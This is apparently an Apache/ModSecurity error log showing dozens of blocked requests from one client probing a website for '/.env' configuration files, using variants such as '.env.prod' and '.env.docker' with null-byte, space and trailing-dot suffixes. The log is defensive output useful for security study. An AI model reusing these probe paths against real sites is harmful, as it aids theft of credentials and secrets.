[Sat Mar 14 23:08:51.241884 2026] [:error] [pid 49433:tid 49449] [client 105.154.119.217:51722] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dist/"] [unique_id "abV6A8EQ_2QRXp9zrWZfsAAAA44"], referer: https://www.quora.com/How-do-I-make-pizza-dough
[Sat Mar 14 23:08:56.136767 2026] [:error] [pid 61382:tid 61396] [client 105.154.119.217:63223] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dist%00"] [unique_id "abV6CP5UUtpNLvwsJ7gOpgAAAAo"], referer: https://www.youtube.com/
[Sat Mar 14 23:08:57.306514 2026] [:error] [pid 49351:tid 49359] [client 105.154.119.217:63470] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dist%20"] [unique_id "abV6CRzAvuOUcwe0iz-ERQAAAwU"], referer: https://www.amazon.com/dp/B08N5WRWNW?ref_=nav_em__k_ods_ha_0_1_1_3
[Sat Mar 14 23:09:03.342764 2026] [:error] [pid 49293:tid 49309] [client 105.154.119.217:64017] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dist%20"] [unique_id "abV6DzAUTjJFxypCRwKTzgAAAs4"], referer: https://stackoverflow.com/search?q=%5Bcss%5D+animation&sort=newest
[Sat Mar 14 23:09:05.759197 2026] [:error] [pid 61382:tid 61401] [client 105.154.119.217:64368] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "abV6Ef5UUtpNLvwsJ7gOrwAAAA8"], referer: https://www.amazon.com/
[Sat Mar 14 23:09:06.889231 2026] [:error] [pid 30154:tid 30170] [client 105.154.119.217:64648] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample."] [unique_id "abV6El6OP9woRgp3v0GyVwAAAMo"], referer: https://www.goodreads.com/search?q=historical+fiction&qid=
[Sat Mar 14 23:09:09.345657 2026] [:error] [pid 49467:tid 49492] [client 105.154.119.217:64778] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample/"] [unique_id "abV6FRZmjGJLG92GJiSoOgAAA9c"], referer: https://www.wikipedia.org/
[Sat Mar 14 23:09:11.640602 2026] [:error] [pid 61383:tid 61427] [client 105.154.119.217:65073] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample%00"] [unique_id "abV6Fy4SAn4TCd4o0dUj6wAAAQs"], referer: https://search.yahoo.com/
[Sat Mar 14 23:09:14.882009 2026] [:error] [pid 61382:tid 61391] [client 105.154.119.217:65369] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample%20"] [unique_id "abV6Gv5UUtpNLvwsJ7gOxwAAAAU"], referer: https://www.google.com/
[Sat Mar 14 23:09:16.018360 2026] [:error] [pid 49467:tid 49480] [client 105.154.119.217:49397] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample%20"] [unique_id "abV6HBZmjGJLG92GJiSoRQAAA8s"], referer: https://www.amazon.com/
[Sat Mar 14 23:09:19.885622 2026] [:error] [pid 49433:tid 49447] [client 105.154.119.217:49816] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.template"] [unique_id "abV6H8EQ_2QRXp9zrWZfwQAAA4w"], referer: https://duckduckgo.com/?q=funny+cat+videos&t=brave
[Sat Mar 14 23:09:25.936632 2026] [:error] [pid 61383:tid 61424] [client 105.154.119.217:60164] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.template."] [unique_id "abV6JS4SAn4TCd4o0dUj8AAAAQg"], referer: https://www.google.com/search?q=
[Sat Mar 14 23:09:28.184213 2026] [:error] [pid 61477:tid 61483] [client 105.154.119.217:58035] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.template/"] [unique_id "abV6KKcx6muYfIYRM7DgDgAAAEI"], referer: https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Ftravelblog.com
[Sat Mar 14 23:09:32.089154 2026] [:error] [pid 61382:tid 61407] [client 105.154.119.217:58541] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.template%00"] [unique_id "abV6LP5UUtpNLvwsJ7gOzAAAABU"], referer: https://github.com/
[Sat Mar 14 23:09:33.257028 2026] [:error] [pid 49403:tid 49412] [client 105.154.119.217:58805] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.template%20"] [unique_id "abV6LYY5UNTbJBfyDKcKfgAAA0c"], referer: https://bitbucket.org/dashboard/overview
[Sat Mar 14 23:09:34.381160 2026] [:error] [pid 61382:tid 61400] [client 105.154.119.217:58941] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.template%20"] [unique_id "abV6Lv5UUtpNLvwsJ7gOzwAAAA4"], referer: https://www.google.com/
[Sat Mar 14 23:09:36.724702 2026] [:error] [pid 49351:tid 49365] [client 105.154.119.217:59070] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example.local"] [unique_id "abV6MBzAvuOUcwe0iz-ETgAAAws"], referer: https://www.google.es/
[Sat Mar 14 23:09:37.875580 2026] [:error] [pid 49433:tid 49438] [client 105.154.119.217:59355] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example.local."] [unique_id "abV6McEQ_2QRXp9zrWZf0gAAA4M"], referer: https://scholar.google.com/scholar?q=machine+learning+history
[Sat Mar 14 23:09:39.888879 2026] [:error] [pid 49467:tid 49493] [client 105.154.119.217:59492] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example.local/"] [unique_id "abV6MxZmjGJLG92GJiSoUAAAA9g"], referer: https://www.google.co.uk/
[Sat Mar 14 23:09:45.830186 2026] [:error] [pid 49351:tid 49375] [client 105.154.119.217:59720] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example.local%00"] [unique_id "abV6ORzAvuOUcwe0iz-EUgAAAxU"], referer: https://search.yahoo.com/
[Sat Mar 14 23:09:46.976611 2026] [:error] [pid 30154:tid 30176] [client 105.154.119.217:60459] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example.local%20"] [unique_id "abV6Ol6OP9woRgp3v0GyaQAAANA"], referer: https://www.google.com/search?q=
[Sat Mar 14 23:09:48.101402 2026] [:error] [pid 49351:tid 49372] [client 105.154.119.217:60605] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example.local%20"] [unique_id "abV6PBzAvuOUcwe0iz-EUwAAAxI"], referer: https://en.wikipedia.org/w/index.php?title=Python&action=edit
[Sat Mar 14 23:09:50.650159 2026] [:error] [pid 49467:tid 49475] [client 105.154.119.217:60741] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.docker"] [unique_id "abV6PhZmjGJLG92GJiSoVwAAA8Y"], referer: https://www.google.co.uk/
[Sat Mar 14 23:09:54.090970 2026] [:error] [pid 30154:tid 30162] [client 105.154.119.217:61041] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.docker."] [unique_id "abV6Ql6OP9woRgp3v0GybAAAAMI"], referer: https://news.google.com/
[Sat Mar 14 23:09:56.109907 2026] [:error] [pid 61382:tid 61395] [client 105.154.119.217:61431] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.docker/"] [unique_id "abV6RP5UUtpNLvwsJ7gO6gAAAAk"], referer: https://search.yahoo.com/
[Sat Mar 14 23:09:58.158338 2026] [:error] [pid 61382:tid 61410] [client 105.154.119.217:64217] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.docker%00"] [unique_id "abV6Rv5UUtpNLvwsJ7gO7QAAABg"], referer: https://www.google.com/
[Sat Mar 14 23:09:59.294724 2026] [:error] [pid 49293:tid 49310] [client 105.154.119.217:64489] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.docker%20"] [unique_id "abV6RzAUTjJFxypCRwKT4gAAAs8"], referer: https://dev.to/search?q=react+hooks+tutorial
[Sat Mar 14 23:10:00.418526 2026] [:error] [pid 49293:tid 49308] [client 105.154.119.217:64645] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.docker%20"] [unique_id "abV6SDAUTjJFxypCRwKT5gAAAs0"], referer: https://duckduckgo.com/?q=
[Sat Mar 14 23:10:04.180033 2026] [:error] [pid 49293:tid 49316] [client 105.154.119.217:65077] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.ci"] [unique_id "abV6TDAUTjJFxypCRwKT8gAAAtU"], referer: https://www.facebook.com/travel/posts/67890?__cft__[0]=xyz
[Sat Mar 14 23:10:08.790590 2026] [:error] [pid 61384:tid 61466] [client 105.154.119.217:49236] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.ci."] [unique_id "abV6UPzibL2IYJprDHLN-AAAAdc"], referer: https://www.ecosia.org/search?q=indoor+plant+care+tips
[Sat Mar 14 23:10:12.354586 2026] [:error] [pid 61382:tid 61398] [client 105.154.119.217:49797] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.ci/"] [unique_id "abV6VP5UUtpNLvwsJ7gO-AAAAAw"], referer: https://stackoverflow.com/questions/7654321/how-to-center-a-div?noredirect=1
[Sat Mar 14 23:10:13.501874 2026] [:error] [pid 61382:tid 61393] [client 105.154.119.217:50277] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.ci%00"] [unique_id "abV6Vf5UUtpNLvwsJ7gO-gAAAAc"], referer: https://www.ecosia.org/search?q=indoor+plant+care+tips
[Sat Mar 14 23:10:14.616302 2026] [:error] [pid 49351:tid 49376] [client 105.154.119.217:50405] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.ci%20"] [unique_id "abV6VhzAvuOUcwe0iz-EXQAAAxY"], referer: https://www.bbc.com/news/science-environment-12345678
[Sat Mar 14 23:10:17.372057 2026] [:error] [pid 49293:tid 49303] [client 105.154.119.217:50702] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.ci%20"] [unique_id "abV6WTAUTjJFxypCRwKT-wAAAsg"], referer: https://news.ycombinator.com/from?site=nytimes.com
[Sat Mar 14 23:10:22.038921 2026] [:error] [pid 61383:tid 61437] [client 105.154.119.217:51074] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.live"] [unique_id "abV6Xi4SAn4TCd4o0dUj_gAAARU"], referer: https://www.aliexpress.com/wholesale?SearchText=phone+case&catId=0
[Sat Mar 14 23:10:23.178792 2026] [:error] [pid 49293:tid 49296] [client 105.154.119.217:51381] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.live."] [unique_id "abV6XzAUTjJFxypCRwKUBwAAAsE"], referer: https://scholar.google.com/scholar?q=machine+learning+history
[Sat Mar 14 23:10:24.364646 2026] [:error] [pid 49293:tid 49315] [client 105.154.119.217:51509] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.live/"] [unique_id "abV6YDAUTjJFxypCRwKUDQAAAtQ"], referer: https://www.imdb.com/search/title/?title_type=feature&year=2025,2026
[Sat Mar 14 23:10:28.171352 2026] [:error] [pid 49293:tid 49316] [client 105.154.119.217:51887] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.live%00"] [unique_id "abV6ZDAUTjJFxypCRwKUFAAAAtU"], referer: https://docs.python.org/3/search.html?q=json+parsing&check_keywords=yes
[Sat Mar 14 23:10:29.322924 2026] [:error] [pid 49293:tid 49301] [client 105.154.119.217:52164] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.live%20"] [unique_id "abV6ZTAUTjJFxypCRwKUFgAAAsY"], referer: https://www.youtube.com/results?search_query=
[Sat Mar 14 23:10:30.467253 2026] [:error] [pid 49351:tid 49374] [client 105.154.119.217:52298] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.live%20"] [unique_id "abV6ZhzAvuOUcwe0iz-EawAAAxQ"], referer: https://gitlab.com/explore/projects?sort=latest_activity_desc
[Sat Mar 14 23:10:35.747313 2026] [:error] [pid 49293:tid 49313] [client 105.154.119.217:52447] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod"] [unique_id "abV6azAUTjJFxypCRwKUHAAAAtI"], referer: https://www.ebay.com/sch/i.html?_nkw=vintage+camera&_sacat=0
[Sat Mar 14 23:10:41.197865 2026] [:error] [pid 49293:tid 49306] [client 105.154.119.217:53532] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod."] [unique_id "abV6cTAUTjJFxypCRwKUHQAAAss"], referer: https://search.yahoo.com/search?p=learn+spanish+online+free&fr=yfp-t
[Sat Mar 14 23:10:42.954093 2026] [:error] [pid 61382:tid 61396] [client 105.154.119.217:53805] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod/"] [unique_id "abV6cv5UUtpNLvwsJ7gPBgAAAAo"], referer: https://bitbucket.org/dashboard/overview
[Sat Mar 14 23:10:45.042214 2026] [:error] [pid 61382:tid 61392] [client 105.154.119.217:54030] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod%00"] [unique_id "abV6df5UUtpNLvwsJ7gPDgAAAAY"], referer: https://www.ecosia.org/search?q=indoor+plant+care+tips
[Sat Mar 14 23:10:46.238584 2026] [:error] [pid 61382:tid 61396] [client 105.154.119.217:54285] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod%20"] [unique_id "abV6dv5UUtpNLvwsJ7gPEQAAAAo"], referer: https://twitter.com/
[Sat Mar 14 23:10:49.100136 2026] [:error] [pid 49293:tid 49318] [client 105.154.119.217:54636] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.prod%20"] [unique_id "abV6eTAUTjJFxypCRwKUIQAAAtc"], referer: https://dev.to/search?q=react+hooks+tutorial
[Sat Mar 14 23:10:50.547970 2026] [:error] [pid 49293:tid 49297] [client 105.154.119.217:54768] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.release"] [unique_id "abV6ejAUTjJFxypCRwKUJQAAAsI"], referer: https://www.amazon.com/
[Sat Mar 14 23:10:55.588765 2026] [:error] [pid 49293:tid 49297] [client 105.154.119.217:55162] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.release."] [unique_id "abV6fzAUTjJFxypCRwKUMwAAAsI"], referer: https://github.com/search?q=topic%3Acooking-recipes&type=repositories
[Sat Mar 14 23:10:56.757539 2026] [:error] [pid 30154:tid 30179] [client 105.154.119.217:54388] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.release/"] [unique_id "abV6gF6OP9woRgp3v0GyiAAAANM"], referer: https://www.bing.com/
[Sat Mar 14 23:10:57.889833 2026] [:error] [pid 49351:tid 49357] [client 105.154.119.217:54557] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.release%00"] [unique_id "abV6gRzAvuOUcwe0iz-EuwAAAwM"], referer: https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Ftravelblog.com
[Sat Mar 14 23:10:59.052522 2026] [:error] [pid 61383:tid 61416] [client 105.154.119.217:54745] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.release%20"] [unique_id "abV6gy4SAn4TCd4o0dUkBQAAAQA"], referer: https://www.npmjs.com/search?q=date+formatter
[Sat Mar 14 23:11:01.241440 2026] [:error] [pid 49351:tid 49354] [client 105.154.119.217:54919] [client 105.154.119.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.release%20"] [unique_id "abV6hRzAvuOUcwe0iz-EwgAAAwA"], referer: https://gitlab.com/explore/projects?sort=latest_activity_desc
